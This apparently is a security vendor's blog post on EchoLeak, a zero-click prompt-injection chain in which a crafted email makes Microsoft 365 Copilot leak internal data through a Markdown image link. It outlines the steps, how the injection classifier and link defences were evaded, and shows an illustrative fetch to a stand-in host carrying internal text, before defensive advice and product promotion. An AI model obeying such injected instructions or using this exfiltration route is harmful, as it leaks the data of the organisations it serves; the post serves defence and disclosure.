AttackResearch disclosureMicrosoft 365 Copilot

One email could turn Microsoft 365 Copilot into a data leak

Researchers showed that a single crafted email could make Microsoft 365 Copilot send internal data to an outside server without the victim clicking anything. Microsoft fixed it on its side before disclosure.

By the NoFly team

What NoFly would decideIllustrative
Blocked before it ranMCP gateway
fetch("https://cdn.example/logo.png?d=Q3-forecast…")
Agent
mail-assistant
Came from
An email from outside the company
Rule
Internal data sent to a new destination
Why
The link carries text from an internal document the agent read two steps earlier.

What happened

Aim Labs found an exploit chain it called EchoLeak and reported it to Microsoft in January 2025. Microsoft fixed it server-side in May and published CVE-2025-32711, rated 9.3, on 11 June 2025, saying there was no evidence it had been exploited.

The attacker sends an ordinary-looking email with instructions worded to get past Copilot’s prompt-injection classifier. When the user later asks Copilot a related question, retrieval pulls that email into the same context as internal data. The instructions make Copilot place sensitive data inside a Markdown image link, which the browser fetches through a Microsoft domain the content policy allowed.

  1. 01

    An email with hidden instructions lands in the mailbox.

  2. 02

    The user asks Copilot an ordinary question.

  3. 03

    Retrieval pulls the email in next to internal data.

  4. 04

    Copilot writes the data into an image link, and the browser sends it out.

Why it worked

Probable cause

Untrusted email and privileged internal data shared one model context, and each output defense, the classifier, link redaction and the allowed domains, had a way around it.

How NoFly stops it

  • Protect

    Retrieved content and tool results are screened for instructions before the agent acts on them, through the MCP gateway or the SDK, and each agent can only send data to destinations on its allow-list.

  • Explain

    If an agent does act, the verdict names the passage that caused it: this email, from this sender, at this time.

  • Attack

    Attack simulation sends instructions hidden in content through your own agents on a schedule, so a gap like this is found by you first.

What to do this week

This week3 actions
  1. List the agents that read email or tickets and can also reach internal documents.
  2. Stop agents loading images or links from domains they have no reason to reach.
  3. Treat retrieved content as data in your prompts and tooling, never as instructions.
Keep reading

More from the blog.

Find out what your AI is allowed to do today.

Book a call and we will map your agents, MCP servers and keys with you, or start on one laptop with the free scan.

Book a demo
npm i -g @nofly/agent